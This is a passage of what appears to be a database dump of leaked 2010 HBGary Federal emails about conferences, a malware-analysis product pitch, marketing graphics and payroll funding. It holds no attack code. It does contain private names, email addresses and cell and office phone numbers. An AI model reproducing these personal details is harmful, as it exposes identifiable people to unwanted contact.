dumb and blind kid sure plays a mean pinball!To: Greg Hoglund &lt;greg@hbgary.com&gt;Great Vacation Pictures! \r\n',10705,'aaron_hbgary_com/10705.html'),(8525,'2010-07-14','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297006576.M384058P14101Q3380.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Derick Shuler running for Senate','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nWow.  Just....wow.\r\n\r\nOn 07/13/2010 11:06 PM, Ted Vera wrote:\r\n> http://www.linkedin.com/profile?viewProfile=&key=11959469&authToken=ZeSD&authType=name&trk=pymk_full&goback=%2Epfp_*2_*2_*2\r\n> \r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkw9SK8ACgkQWw/TEDXzQNPsIgCeJ6MCF7ii+c0tQj3dRQxcA7qP\r\nWmUAn0uk8ROMTTmeYNd31bhYM84W2fJG\r\n=tmV1\r\n-----END PGP SIGNATURE-----\r\n',12124,'aaron_hbgary_com/12124.html'),(8526,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006576.M598035P14101Q3381.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Brilliant idea damn it.','http://www.prweb.com/releases/2010/07/prweb3828604.htm\r\n',15826,'aaron_hbgary_com/15826.html'),(8527,'2010-07-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006576.M824940P14101Q3382.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Shuler','Wow\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 14, 2010, at 1:10 AM, Ted Vera  wrote:\r\n\r\n> http://www.shulerforcolorado.org/\r\n',13419,'aaron_hbgary_com/13419.html'),(8528,'2010-07-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006577.M28105P14101Q3383.eml','\"Ted Vera\" <tedvera@me.com>','Re: FOUND: small white dog in Fountain','Lol\r\n\r\nSent from my iPad\r\n\r\nOn Jul 13, 2010, at 11:07 PM, Ted Vera  wrote:\r\n\r\n> Every stray ends up at my house. I think it\'s a maltipoo.\r\n>\r\n> http://cosprings.craigslist.org/laf/1841834754.html\r\n>\r\n>\r\n>\r\n',7417,'aaron_hbgary_com/7417.html'),(8529,'2010-07-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006577.M350753P14101Q3384.eml','\"Ted Vera\" <ted@hbgary.com>','Re: EXTERNAL:Question','Yeah that&#39;s got to be it.Sent from my iPadOn Jul 14, 2010, at 12:04 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nCould it be the cyber &amp; net centric workshop on 13 &amp; 14th?http://www.ll.mit.edu/workshops/index.html\r\n\r\nTedOn Jul 13, 2010, at 6:16 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nWhere is it?Sent from my iPhone\r\nOn Jul 13, 2010, at 6:42 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n---------- Forwarded message ----------From: Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\n\r\n\r\nDate: Tue, Jul 13, 2010 at 4:25 PMSubject: RE: EXTERNAL:QuestionTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK – I’ll send along any good tid bits if any fall out. It’s\r\nlargely FFRDCs and their customers, but you never know what kinds of info will\r\nfloat up at these things.\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 6:23 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n \r\n\r\nNope\r\n\r\n\r\n\r\nOn Tue, Jul 13, 2010 at 4:22 PM, Henderson, Mike (XETRON)\r\n&lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nSounds good – definitely have to keep\r\nthose irons in the fire.\r\n\r\n \r\n\r\nBy chance are you or any of your folks\r\ngoing to the Lincoln Labs/MIT Malware TEM this week?\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, July 13, 2010 6:20 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThat\r\nis the &quot;good&quot; kind of crazy.  We&#39;re doing alright, still mostly\r\na lot of business development activities &amp; proposals.  Won a contract\r\na couple of weeks ago, work starts in September.  Also have a small pilot\r\nproject starting in a couple of weeks for one of the Nat&#39;l labs.  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:55 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nCrazy as always, but still the “good”\r\nkind of crazy (lots of work, not enough hours in the day).\r\n\r\n \r\n\r\nI hope all’s well with you and yours!\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, July 13, 2010 5:54 PM\r\nTo: Henderson, Mike (XETRON)\r\nCc: Masterson, Brian M (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHey\r\nMike, thanks alot.  How&#39;s everything going out in Cincinnati?  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:51 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nZIP password is “infected”\r\n\r\n \r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n\r\n',13769,'aaron_hbgary_com/13769.html'),(8530,'2010-07-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006577.M560298P14101Q3385.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: HBGary','Sent from my iPadBegin forwarded message:From: Brandon Colston &lt;brandon.colston@gmail.com&gt;\r\nDate: July 14, 2010 12:24:39 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: HBGary\r\n\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nBrandon Colston has sent you a message.\r\n\r\n\r\n  Date:\r\n  7/13/2010\r\n\r\n\r\n  Subject:\r\n  HBGary\r\n\r\n\r\n\r\n  Aaron,\r\n\r\n\r\n\r\nHow are things going with HBGary?\r\n\r\n\r\n\r\nI noticed you posted about the Palantir Night Live event.  Are you guys working with Palantir?\r\n\r\n\r\n\r\nJust thought I would check in.\r\n\r\n\r\n\r\nTake care,\r\n\r\nBrandon\r\n\r\n\r\nView/reply to this message\r\n\r\n\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n  © 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',258,'aaron_hbgary_com/258.html'),(8531,'2010-07-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006577.M758946P14101Q3386.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: EXTERNAL:TMC','Yeah need to talk tmc, AD, and social media.\r\n\r\nSent from my iPad\r\n\r\nOn Jul 14, 2010, at 12:39 AM, Ted Vera  wrote:\r\n\r\n> Got a response from Dale, now we need to prep a demo.\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Ted Vera \r\n> Date: Tuesday, July 13, 2010\r\n> Subject: Re: EXTERNAL:TMC\r\n> To: \"Graham, Dale E (IS)\" \r\n>\r\n>\r\n> Ok, I\'ll follow up with you when you get back home. We can schedule a\r\n> demo and discuss pricing. Hope you have a good visit.\r\n> Ted\r\n>\r\n> On Jul 13, 2010, at 8:59 PM, \"Graham, Dale E (IS)\"  wrote:\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Ted\r\n>\r\n> I am only in town for one day and they did not leave times for bio-breaks.\r\n>\r\n> I am interested in discussing your product and pricing.  Last we spoke\r\n> to 1st IO about HP Gary price chased them away.\r\n>\r\n> Most likely we will have to do initial discussion by phone or delay\r\n> until next month\r\n> ------Original Message------\r\n> From: Ted Vera\r\n> To: DALE GRAHAM\r\n> Subject: EXTERNAL:TMC\r\n> Sent: Jul 13, 2010 10:32 AM\r\n>\r\n> Hi Dale, I heard that you are in Colorado Springs.  Last we spoke I\r\n> mentioned our automated malware reverse engineering capability that\r\n> was in development.  We now have a working prototype that we are\r\n> beginning to shrink-wrap as COTS.  We call it the Threat Monitoring\r\n> Center (TMC).  I think it could drastically improve 1st IO\'s malware\r\n> analysis capability - by orders of magnitude.  We are currently\r\n> processing over 30K malware per day.  Would you be interested in doing\r\n> lunch this week to catch up and discuss? Hope all is well, Ted\r\n> -----------------------\r\n> Sent via Blackberry\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n',4019,'aaron_hbgary_com/4019.html'),(8532,'2010-07-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006577.M999000P14101Q3387.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: Derick Shuler running for Senate','Agree with mark\r\n\r\nSent from my iPad\r\n\r\nOn Jul 14, 2010, at 1:18 AM, Mark Trynor  wrote:\r\n\r\n> -----BEGIN PGP SIGNED MESSAGE-----\r\n> Hash: SHA1\r\n>\r\n> Wow.  Just....wow.\r\n>\r\n> On 07/13/2010 11:06 PM, Ted Vera wrote:\r\n>> http://www.linkedin.com/profile?viewProfile=&key=11959469&authToken=ZeSD&authType=name&trk=pymk_full&goback=%2Epfp_*2_*2_*2\r\n>>\r\n> -----BEGIN PGP SIGNATURE-----\r\n> Version: GnuPG v1.4.10 (GNU/Linux)\r\n> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n>\r\n> iEYEARECAAYFAkw9SK8ACgkQWw/TEDXzQNPsIgCeJ6MCF7ii+c0tQj3dRQxcA7qP\r\n> WmUAn0uk8ROMTTmeYNd31bhYM84W2fJG\r\n> =tmV1\r\n> -----END PGP SIGNATURE-----\r\n',14825,'aaron_hbgary_com/14825.html'),(8533,'2010-07-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006578.M209084P14101Q3388.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: Derick Shuler running for Senate','Hey if he makes it I can say I fired a us state senator!\r\n\r\nSent from my iPad\r\n\r\nOn Jul 14, 2010, at 1:18 AM, Mark Trynor  wrote:\r\n\r\n> -----BEGIN PGP SIGNED MESSAGE-----\r\n> Hash: SHA1\r\n>\r\n> Wow.  Just....wow.\r\n>\r\n> On 07/13/2010 11:06 PM, Ted Vera wrote:\r\n>> http://www.linkedin.com/profile?viewProfile=&key=11959469&authToken=ZeSD&authType=name&trk=pymk_full&goback=%2Epfp_*2_*2_*2\r\n>>\r\n> -----BEGIN PGP SIGNATURE-----\r\n> Version: GnuPG v1.4.10 (GNU/Linux)\r\n> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n>\r\n> iEYEARECAAYFAkw9SK8ACgkQWw/TEDXzQNPsIgCeJ6MCF7ii+c0tQj3dRQxcA7qP\r\n> WmUAn0uk8ROMTTmeYNd31bhYM84W2fJG\r\n> =tmV1\r\n> -----END PGP SIGNATURE-----\r\n',2898,'aaron_hbgary_com/2898.html'),(8534,'2010-07-14','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297006578.M425627P14101Q3389.eml','\"Aaron Barr\" <aaron@hbgary.com>','Phone call','\r\n\r\n\r\n\r\n\r\nPhone call\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nHey.&nbsp; I am in a conference today and will try to call during a break but am in a SCIF.&nbsp; How about tonight?\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',5188,'aaron_hbgary_com/5188.html'),(8535,'2010-07-14','\"Henderson, Mike (XETRON)\" <Michael.Henderson@ngc.com>','/aaron@hbgary.com/new/1297006578.M676194P14101Q3390.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: EXTERNAL:Question','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSame hosts, but that&#8217;s a different event. I&#8217;m attending this: \r\n\r\n\r\n\r\nMIT Lincoln Laboratory will\r\nbe hosting the next Multiagency and Industry Malware and Bot Reverse\r\nEngineering Technical Exchange Meeting on Thursday and Friday 15-16\r\nJuly 2010.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIt&#8217;s right on the heels of the event you quoted. I didn&#8217;t know about\r\nthe Cyber Workshop until I&#8217;d signed up for the MTEM&#8230;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMike\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, July 14, 2010 12:06 AM\r\nTo: Henderson, Mike (XETRON)\r\nCc: Barr Aaron\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMike, is this the event you mentioned?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCyber and Netcentric\r\nWorkshop\r\n\r\n13&#8211;14\r\nJuly 2010\r\n\r\nThe Cyber and Netcentric Workshop provides the user,\r\nacquisition, research, and developer communities with discussions on lessons\r\nlearned, current trends, technical challenges, and the road ahead. This is a\r\nclassified workshop. A security clearance is required for attendance.&nbsp;Email&nbsp;for\r\nmore information.\r\n\r\n\r\nOn Jul 13, 2010, at 4:25 PM, &quot;Henderson, Mike (XETRON)&quot; &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK &#8211;\r\nI&#8217;ll send along any good tid bits if any fall out. It&#8217;s largely FFRDCs and\r\ntheir customers, but you never know what kinds of info will float up at these\r\nthings.\r\n\r\n&nbsp;\r\n\r\nMike\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 6:23 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNope\r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 4:22 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nSounds good &#8211; definitely have to keep\r\nthose irons in the fire.\r\n\r\n&nbsp;\r\n\r\nBy chance are you or any of your folks\r\ngoing to the Lincoln Labs/MIT Malware TEM this week?\r\n\r\n&nbsp;\r\n\r\nMike\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 6:20 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThat\r\nis the &quot;good&quot; kind of crazy. &nbsp;We\'re doing alright, still mostly\r\na lot of business development activities &amp; proposals. &nbsp;Won a contract\r\na couple of weeks ago, work starts in September. &nbsp;Also have a small pilot\r\nproject starting in a couple of weeks for one of the Nat\'l labs. &nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:55 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nCrazy as always, but still the &#8220;good&#8221;\r\nkind of crazy (lots of work, not enough hours in the day).\r\n\r\n&nbsp;\r\n\r\nI hope all&#8217;s well with you and yours!\r\n\r\n&nbsp;\r\n\r\nMike\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 5:54 PM\r\nTo: Henderson, Mike (XETRON)\r\nCc: Masterson, Brian M (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey\r\nMike, thanks alot. &nbsp;How\'s everything going out in Cincinnati? &nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:51 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nZIP password is &#8220;infected&#8221;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11948,'aaron_hbgary_com/11948.html'),(8536,'2010-07-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006578.M918380P14101Q3391.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: Phone call','Sure try when u can.Sent from my iPhoneOn Jul 14, 2010, at 7:48 AM, \"Masterson, Brian M (XETRON)\" &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n\r\nHey.&nbsp; I am in a conference today and will try to call during a break but am in a SCIF.&nbsp; How about tonight?\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',12443,'aaron_hbgary_com/12443.html'),(8537,'2010-07-14','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297006579.M168684P14101Q3392.eml','aaron@hbgary.com','Biometric Consortium Conference Speakers and Sessions Update','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n				\r\n					\r\n				\r\n			\r\n		\r\n	\r\n	\r\n			  \r\n          \r\n            \r\n                The 2010 Biometric Consortium Conference and Technology Expo \r\n                September 21-23, 2010\r\n                Tampa Convention Center\r\n                Tampa, Florida\r\n                Supported by the National Institute of Standards and Technology (NIST) and the National Security Agency (NSA), the Biometric Consortium Conference is focused on Biometric Technologies for Defense, Homeland Security, Identity Management, Border Crossing and Electronic Commerce. Participants include internationally recognized experts in biometric technologies, system and application developers, IT business strategists, and government and commercial officers.\r\n                Click here for  Biometric Consortium Conference and Technology Expo registration and housing. \r\n&nbsp;\r\nKeynote Speakers:\r\n\r\n  LtGen John R. Allen, USMC, Acting Commander, U.S. Central Command \r\n  Mr. Daniel D. Roberts, Assistant Director, CJIS Division, Federal Bureau of Investigation\r\n  Mr. Bradley Buswell,      Deputy Under Secretary for Science &amp; Technology, Department of Homeland Security\r\n  Mr. B.B. Nanawati, Deputy Director General, UID Authority of India\r\n\r\n&nbsp;\r\nConference Sessions:\r\n\r\n  Department of Justice (DOJ - FBI/NIJ) \r\n\r\n\r\n  Moderator: Mr. Scott Swann, FBI\r\n  Moderator: Mr. Bill Ford, NIJ\r\n\r\n\r\n  Department of Homeland Security (DHS)\r\n\r\n\r\n  Moderator: Mr. Chris Miles, DHS\r\n\r\n\r\n  Department of Defense (DoD) \r\n\r\n\r\n  Moderator: Mr. Thomas P. Dee, OSD/AT&amp;L (DDR&amp;E)\r\n  Moderator: Dr. Myra Gray, BIMA\r\n\r\n\r\n  National Institute of Standards and Technology (NIST) \r\n\r\n\r\n  Moderator: Mr. Michael D. Garris, NIST\r\n\r\n\r\n  Biometrics, Identity &amp; Security (BIdS)\r\n\r\n\r\n  Moderator: Dr. Terry Boult, University of Colorado\r\n\r\n\r\n  Special Rapid DNA \r\n\r\n\r\n  Moderator: Ms. Kimberly Del Greco, FBI\r\n  Moderator: Mr. Tom Callaghan, FBI\r\n\r\n\r\n  General Services Administration (GSA) \r\n\r\n\r\n  Presenter: Mr. David Temoshok, GSA\r\n\r\n\r\n  Department of Transportation/Volpe (DOT/Volpe) \r\n\r\n\r\n  Moderator: Mr. Bill Baron, DOT\r\n\r\n\r\n  Standards \r\n\r\n\r\n  Moderator: Mr. Fernando Podio, NIST\r\n\r\n\r\n  International \r\n\r\n\r\n  Moderator: Dr. Christoph Busch, Fraunhofer IGD\r\n  Moderator: Dr. Raul Sanchez-Reillo, University Carlos III of Madrid\r\n\r\n\r\n  Industry \r\n\r\n\r\n  Moderator: Mr. Walter Hamilton, IBIA\r\n\r\n\r\n  Iris Technology \r\n\r\n\r\n  Moderator: Dr. James Matey, USNA\r\n\r\n&nbsp;\r\n              Conference Fees:\r\n                \r\n                  \r\n                    Student\r\n                    $295\r\n                  \r\n                  \r\n                    University Staff/Faculty \r\n                    $595\r\n                  \r\n                  \r\n                    Government/Non-Profit\r\n                    $595\r\n                  \r\n                  \r\n                    Industry/Consultant/Other\r\n                    $695\r\n                  \r\n                  \r\n                    Exhibit Hall Only\r\n                    Free\r\n                  \r\n                \r\n              &nbsp;\r\n\r\n  \r\n    Supporting Organization \r\n      \r\n      The Planet Biometrics portal and its newsletters are designed to be the best in the business. The professional, content-rich site will contain cutting-edge news, case histories, white papers, analysis, a directory and more - even a monthly cartoon! High-quality, informed information is the hallmark of this site, which is targeted at decision makers in the government and commercial sectors. \r\n      &nbsp;\r\n      The international team of editors at Planet Biometrics is led by Mark Lockie, for ten years the Editor of the respected Biometric Technology Today journal as well as the Publisher of the Security Document World web portal and show.\r\n    \r\n\r\n&nbsp;\r\nThe Biometric Technology Expo will feature over 80 technology exhibitors displaying a wide range of hardware and software solutions to biometric and identity management challenges. The Biometric Technology Expo is sponsored by AFCEA and J. Spargo &amp; Associates, Inc.\r\n              Hotel Rooms:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\nA block of hotel rooms has been reserved at the Hyatt Regency Tampa and the Embassy Suites Tampa- Downtown Convention Center.&nbsp; A block of government rated rooms are available at each of these hotels. \r\n&nbsp;\r\nExhibitor contact:\r\nJ. Spargo &amp; Associates, Inc.\r\n                800-564-4220 or 703-631-6200, biometrics@jspargo.com \r\n                &nbsp;\r\n                Sponsor contact:\r\n                Maureen Cirrito/AFCEA\r\n                800-336-4583 or 703-631-6174, mcirrito@afcea.org\r\n                Conference contact:\r\n  Dick Bailey/BAE Systems \r\n  301-738-5126, richard.bailey@baesystems.com \r\n                &nbsp;\r\n                &nbsp;\r\n&nbsp;www.biometricconference.com\r\n            \r\n          \r\n          \r\n            &nbsp;\r\n          \r\n      \r\n  \r\n	\r\n		\r\n			\r\n				\r\n					\r\n					\r\n\r\n\r\n\r\n\r\n\r\n			\r\n\r\n  This email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n  \r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\n  http://www.afcea.org\r\n\r\n\r\n					\r\n				\r\n			\r\n	  \r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3060,'aaron_hbgary_com/3060.html'),(8538,'2010-07-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006581.M65500P14101Q3393.eml','\"Penny Leavy\" <penny@hbgary.com>','3 graphic requests to follow','First one is the top image for the datasheet.  You can download the icons at http://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons/\r\nI would like the HBGary logo to stand out but fit in the grunge style.  2 more requests to follow.\r\n\r\nI would use the following ones:\r\nblogger\r\ndigg\r\nfacebook\r\nflickr\r\ngoogle\r\nhi5\r\nlinkedin\r\nmyspace\r\norkut\r\nreddit\r\nskype\r\ntechnorati\r\ntwitter\r\nwordpress\r\nyahoo\r\nyoutube\r\nyelp\r\n\r\n',1067,'aaron_hbgary_com/1067.html'),(8539,'2010-07-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006584.M290427P14101Q3394.eml','\"Penny Leavy\" <penny@hbgary.com>','Second graphic','Something like the below image but with a business icon in the center and question mark with arrows out to the various social media services.  The overall message is its confusing to know which ones to use both for organizations and people.  This is for our consulting service.  We have the expertise and partnerships to guide organizations in proper use of social media for effective use and identification of vulnerabilities.\r\n\r\n',11262,'aaron_hbgary_com/11262.html'),(8540,'2010-07-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006585.M503262P14101Q3395.eml','\"Penny Leavy\" <penny@hbgary.com>','3rd graphic','Something like this, a training wheel that shows the different aspects of our training.\r\n\r\nSocial Media:\r\nFamiliarization\r\nEngagement\r\nRisks\r\nUse Cases\r\nProtection and Processes\r\n\r\n\r\n',15123,'aaron_hbgary_com/15123.html'),(8541,'2010-07-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006589.M249705P14101Q3396.eml','\"Penny Leavy\" <penny@hbgary.com>','last graphic','I am having a hard time with this one.\r\n\r\n',5608,'aaron_hbgary_com/5608.html'),(8542,'2010-07-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006589.M609464P14101Q3397.eml','\"Ted Vera\" <ted@hbgary.com>','nek ceo','bruce parkman\r\n\r\n5058880700\r\ncell 5052691535\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1587,'aaron_hbgary_com/1587.html'),(8543,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006589.M864782P14101Q3398.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Funding','Hi Penny,Aaron mentioned that you are going to make the deposits for yourself and HBGary when you get back to Sacramento.  If at all possible please try to do this today otherwise I will not be able to make payroll for Mark.\r\nThanks,Ted\r\n\r\n',15747,'aaron_hbgary_com/15747.html'),(8544,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006590.M379170P14101Q3400.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary Federal Funding','---------- Forwarded message ----------From: Rich Cummings &lt;rich@hbgary.com&gt;Date: Wed, Jul 14, 2010 at 9:12 AM\r\nSubject: Re: HBGary Federal FundingTo: Ted Vera 